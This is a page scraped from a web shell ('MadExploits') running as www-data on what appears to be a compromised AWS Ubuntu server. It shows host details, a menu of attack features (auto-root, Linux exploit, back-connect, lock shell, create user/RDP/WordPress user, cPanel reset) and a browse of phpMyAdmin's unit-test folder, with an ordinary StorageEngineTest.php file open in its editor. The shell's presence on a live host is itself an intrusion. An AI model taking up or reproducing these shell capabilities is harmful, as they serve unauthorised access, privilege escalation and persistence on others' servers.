Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.21.55.178
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StorageEngineTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\Cache; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Engines\Bdb; use PhpMyAdmin\Engines\Berkeleydb; use PhpMyAdmin\Engines\Binlog; use PhpMyAdmin\Engines\Innobase; use PhpMyAdmin\Engines\Innodb; use PhpMyAdmin\Engines\Memory; use PhpMyAdmin\Engines\Merge; use PhpMyAdmin\Engines\MrgMyisam; use PhpMyAdmin\Engines\Myisam; use PhpMyAdmin\Engines\Ndbcluster; use PhpMyAdmin\Engines\Pbxt; use PhpMyAdmin\Engines\PerformanceSchema; use PhpMyAdmin\StorageEngine; use PhpMyAdmin\Tests\Stubs\DbiDummy; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use function json_encode; #[CoversClass(StorageEngine::class)] class StorageEngineTest extends AbstractTestCase { protected DatabaseInterface $dbi; protected DbiDummy $dummyDbi; protected StorageEngine $object; /** * Sets up the fixture, for example, opens a network connection. * This method is called before a test is executed. */ protected function setUp(): void { parent::setUp(); $this->dummyDbi = $this->createDbiDummy(); $this->dbi = $this->createDatabaseInterface($this->dummyDbi); DatabaseInterface::$instance = $this->dbi; $this->object = new StorageEngine('dummy'); } /** * Tears down the fixture, for example, closes a network connection. * This method is called after a test is executed. */ protected function tearDown(): void { parent::tearDown(); unset($this->object); } public function testGetStorageEngines(): void { self::assertSame( [ 'dummy' => ['Engine' => 'dummy', 'Support' => 'YES', 'Comment' => 'dummy comment'], 'dummy2' => ['Engine' => 'dummy2', 'Support' => 'NO', 'Comment' => 'dummy2 comment'], 'FEDERATED' => [ 'Engine' => 'FEDERATED', 'Support' => 'NO', 'Comment' => 'Federated MySQL storage engine', ], 'Pbxt' => ['Engine' => 'Pbxt', 'Support' => 'NO', 'Comment' => 'Pbxt storage engine'], ], StorageEngine::getStorageEngines(), ); } public function testGetArray(): void { $actual = StorageEngine::getArray(); self::assertSame( ['dummy' => ['name' => 'dummy', 'comment' => 'dummy comment', 'is_default' => false]], $actual, ); } /** * Test for StorageEngine::getEngine * * @param string $expectedClass Class that should be selected * @param string $engineName Engine name * @psalm-param class-string $expectedClass */ #[DataProvider('providerGetEngine')] public function testGetEngine(string $expectedClass, string $engineName): void { $actual = StorageEngine::getEngine($engineName); self::assertInstanceOf($expectedClass, $actual); } /** * Provider for testGetEngine * * @return mixed[] */ public static function providerGetEngine(): array { return [ [StorageEngine::class, 'unknown engine'], [Bdb::class, 'Bdb'], [Berkeleydb::class, 'Berkeleydb'], [Binlog::class, 'Binlog'], [Innobase::class, 'Innobase'], [Innodb::class, 'Innodb'], [Memory::class, 'Memory'], [Merge::class, 'Merge'], [MrgMyisam::class, 'Mrg_Myisam'], [Myisam::class, 'Myisam'], [Ndbcluster::class, 'Ndbcluster'], [Pbxt::class, 'Pbxt'], [PerformanceSchema::class, 'Performance_Schema'], ]; } /** * Test for isValid */ public function testIsValid(): void { self::assertTrue( StorageEngine::isValid('PBMS'), ); self::assertTrue( StorageEngine::isValid('dummy'), ); self::assertTrue( StorageEngine::isValid('dummy2'), ); self::assertFalse( StorageEngine::isValid('invalid'), ); } /** * Test for getPage */ public function testGetPage(): void { self::assertSame( '', $this->object->getPage('Foo'), ); } /** * Test for getInfoPages */ public function testGetInfoPages(): void { self::assertSame( [], $this->object->getInfoPages(), ); } /** * Test for getVariablesLikePattern */ public function testGetVariablesLikePattern(): void { self::assertSame( '', $this->object->getVariablesLikePattern(), ); } /** * Test for getMysqlHelpPage */ public function testGetMysqlHelpPage(): void { self::assertSame( 'dummy-storage-engine', $this->object->getMysqlHelpPage(), ); } /** * Test for getVariables */ public function testGetVariables(): void { self::assertSame( [], $this->object->getVariables(), ); } /** * Test for getSupportInformationMessage */ public function testGetSupportInformationMessage(): void { self::assertSame( 'dummy is available on this MySQL server.', $this->object->getSupportInformationMessage(), ); $this->object->support = 1; self::assertSame( 'dummy has been disabled for this MySQL server.', $this->object->getSupportInformationMessage(), ); $this->object->support = 2; self::assertSame( 'dummy is available on this MySQL server.', $this->object->getSupportInformationMessage(), ); $this->object->support = 3; self::assertSame( 'dummy is the default storage engine on this MySQL server.', $this->object->getSupportInformationMessage(), ); } /** * Test for getComment */ public function testGetComment(): void { self::assertSame( 'dummy comment', $this->object->getComment(), ); } /** * Test for getTitle */ public function testGetTitle(): void { self::assertSame( 'dummy', $this->object->getTitle(), ); } /** * Test for resolveTypeSize */ public function testResolveTypeSize(): void { self::assertEquals( [12, 'B'], $this->object->resolveTypeSize(12), ); } public function testHasMroongaEngine(): void { $this->dummyDbi->addResult('SELECT mroonga_command(\'object_list\');', [ [ (string) json_encode([]), // Fake result ], ]); self::assertTrue(StorageEngine::hasMroongaEngine()); self::assertTrue(StorageEngine::hasMroongaEngine()); // Does not call any query Cache::remove('storage-engine.mroonga.has.mroonga_command'); // Cache clear $this->dummyDbi->addResult('SELECT mroonga_command(\'object_list\');', false); self::assertFalse(StorageEngine::hasMroongaEngine()); $this->dummyDbi->assertAllQueriesConsumed(); } public function testGetMroongaLengths(): void { $this->dummyDbi->addResult('SELECT mroonga_command(\'object_list\');', [ [ // Partial (string) json_encode([ 'WGS84GeoPoint' => [ 'id' => 18, 'name' => 'WGS84GeoPoint', 'opened' => true, 'n_elements' => 4, 'type' => ['id' => 32, 'name' => 'type'], 'flags' => ['value' => 24, 'names' => 'KEY_GEO_POINT'], 'path' => null, 'size' => 8, ], 'mroonga_operations' => ['type' => ['id' => 51, 'name' => 'table:no_key']], 'mroonga_operations.type' => ['type' => ['id' => 65, 'name' => 'column:var_size']], 'mroonga_operations.table' => ['type' => ['id' => 65, 'name' => 'column:var_size']], 'mroonga_operations.record' => ['type' => ['id' => 64, 'name' => 'column:fix_size']], 'idx_correo' => ['type' => ['id' => 49, 'name' => 'table:pat_key']], 'idx_correo.id' => ['type' => ['id' => 64, 'name' => 'column:fix_size']], 'idx_correo.search' => ['type' => ['id' => 65, 'name' => 'column:var_size']], 'idx_correo#idx_correo_search' => ['type' => ['id' => 49, 'name' => 'table:pat_key']], 'idx_correo#idx_correo_search.index' => ['type' => ['id' => 72, 'name' => 'column:index']], ]), ], ]); $this->dummyDbi->addResult('SELECT mroonga_command(\'object_inspect idx_correo\');', [ [ // Partial (string) json_encode([ 'id' => 265, 'name' => 'idx_correo', 'type' => ['id' => 49, 'name' => 'table:pat_key'], 'key' => [ 'type' => ['id' => 8, 'name' => 'Int32', 'type' => ['id' => 32,'name' => 'type'], 'size' => 4], 'total_size' => 0, 'max_total_size' => 4294967294, ], 'value' => ['type' => null], 'n_records' => 0, 'disk_usage' => 4243456, ]), ], ]); $this->dummyDbi->addResult('SELECT mroonga_command(\'object_inspect idx_correo.id\');', [ [ // Full object (string) json_encode([ 'id' => 266, 'name' => 'id', 'table' => [ 'id' => 265, 'name' => 'idx_correo', 'type' => ['id' => 49, 'name' => 'table:pat_key'], 'key' => [ 'type' => [ 'id' => 8, 'name' => 'Int32', 'type' => ['id' => 32, 'name' => 'type'], 'size' => 4, ], 'total_size' => 0, 'max_total_size' => 4294967294, ], 'value' => ['type' => null], 'n_records' => 0, 'disk_usage' => 4243456, ], 'full_name' => 'idx_correo.id', 'type' => ['name' => 'scalar', 'raw' => ['id' => 64, 'name' => 'column:fix_size']], 'value' => [ 'type' => ['id' => 8, 'name' => 'Int32', 'type' => ['id' => 32,'name' => 'type'], 'size' => 4], 'compress' => null, ], 'disk_usage' => 4096, ]), ], ]); $this->dummyDbi->addResult('SELECT mroonga_command(\'object_inspect idx_correo.search\');', [ [ // Full object (string) json_encode([ 'id' => 267, 'name' => 'search', 'table' => [ 'id' => 265, 'name' => 'idx_correo', 'type' => ['id' => 49, 'name' => 'table:pat_key'], 'key' => [ 'type' => [ 'id' => 8, 'name' => 'Int32', 'type' => ['id' => 32, 'name' => 'type'], 'size' => 4, ], 'total_size' => 0, 'max_total_size' => 4294967294, ], 'value' => ['type' => null], 'n_records' => 0, 'disk_usage' => 4243456, ], 'full_name' => 'idx_correo.search', 'type' => ['name' => 'scalar', 'raw' => ['id' => 65, 'name' => 'column:var_size']], 'value' => [ 'type' => [ 'id' => 16, 'name' => 'LongText', 'type' => ['id' => 32, 'name' => 'type'], 'size' => 2147483648, ], 'compress' => null, ], 'disk_usage' => 274432, ]), ], ]); $this->dummyDbi->addResult('SELECT mroonga_command(\'object_inspect idx_correo#idx_correo_search\');', [ [ // Partial (string) json_encode([ 'id' => 268, 'name' => 'idx_correo#idx_correo_search', 'type' => ['id' => 49, 'name' => 'table:pat_key'], 'key' => [ 'type' => [ 'id' => 14, 'name' => 'ShortText', 'type' => ['id' => 32, 'name' => 'type'], 'size' => 4096, ], 'total_size' => 0, 'max_total_size' => 4294967294, ], 'value' => ['type' => null], 'n_records' => 0, 'disk_usage' => 12878, ]), ], ]); $this->dummyDbi->addResult('SELECT mroonga_command(\'object_inspect idx_correo#idx_correo_search.index\');', [ [ // Full object (string) json_encode([ 'id' => 269, 'name' => 'index', 'table' => [ 'id' => 268, 'name' => 'idx_correo#idx_correo_search', 'type' => ['id' => 49, 'name' => 'table:pat_key'], 'key' => [ 'type' => [ 'id' => 14, 'name' => 'ShortText', 'type' => ['id' => 32, 'name' => 'type'], 'size' => 4096, ], 'total_size' => 0, 'max_total_size' => 4294967294, ], 'value' => ['type' => null], 'n_records' => 0, 'disk_usage' => 4243456, ], 'full_name' => 'idx_correo#idx_correo_search.index', 'type' => ['name' => 'index', 'raw' => ['id' => 72, 'name' => 'column:index']], 'value' => [ 'type' => [ 'id' => 265, 'name' => 'idx_correo', 'type' => ['id' => 49, 'name' => 'table:pat_key'], 'size' => 4, ], 'section' => false, 'weight' => false, 'position' => true, 'size' => 'normal', 'statistics' => [ 'max_section_id' => 0, 'n_garbage_segments' => 0, 'max_array_segment_id' => 0, 'n_array_segments' => 0, 'max_buffer_segment_id' => 0, 'n_buffer_segments' => 0, 'max_in_use_physical_segment_id' => 0, 'n_unmanaged_segments' => 0, 'total_chunk_size' => 0, 'max_in_use_chunk_id' => 0, 'n_garbage_chunks' => [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ], ], ], 'sources' => [ [ 'id' => 267, 'name' => 'search', 'table' => [ 'id' => 265, 'name' => 'idx_correo', 'type' => ['id' => 49, 'name' => 'table:pat_key'], 'key' => [ 'type' => [ 'id' => 8, 'name' => 'Int32', 'type' => ['id' => 32, 'name' => 'type'], 'size' => 4, ], 'total_size' => 0, 'max_total_size' => 4294967294, ], 'value' => ['type' => null], 'n_records' => 0, 'disk_usage' => 4243456, ], 'full_name' => 'idx_correo.search', ], ], 'disk_usage' => 565248, ]), ], ]); $this->dummyDbi->addSelectDb('my_db'); $lengths = StorageEngine::getMroongaLengths('my_db', 'idx_correo'); $this->dummyDbi->assertAllSelectsConsumed(); self::assertSame([4521984, 578126], $lengths); $this->dummyDbi->assertAllQueriesConsumed(); } }
Close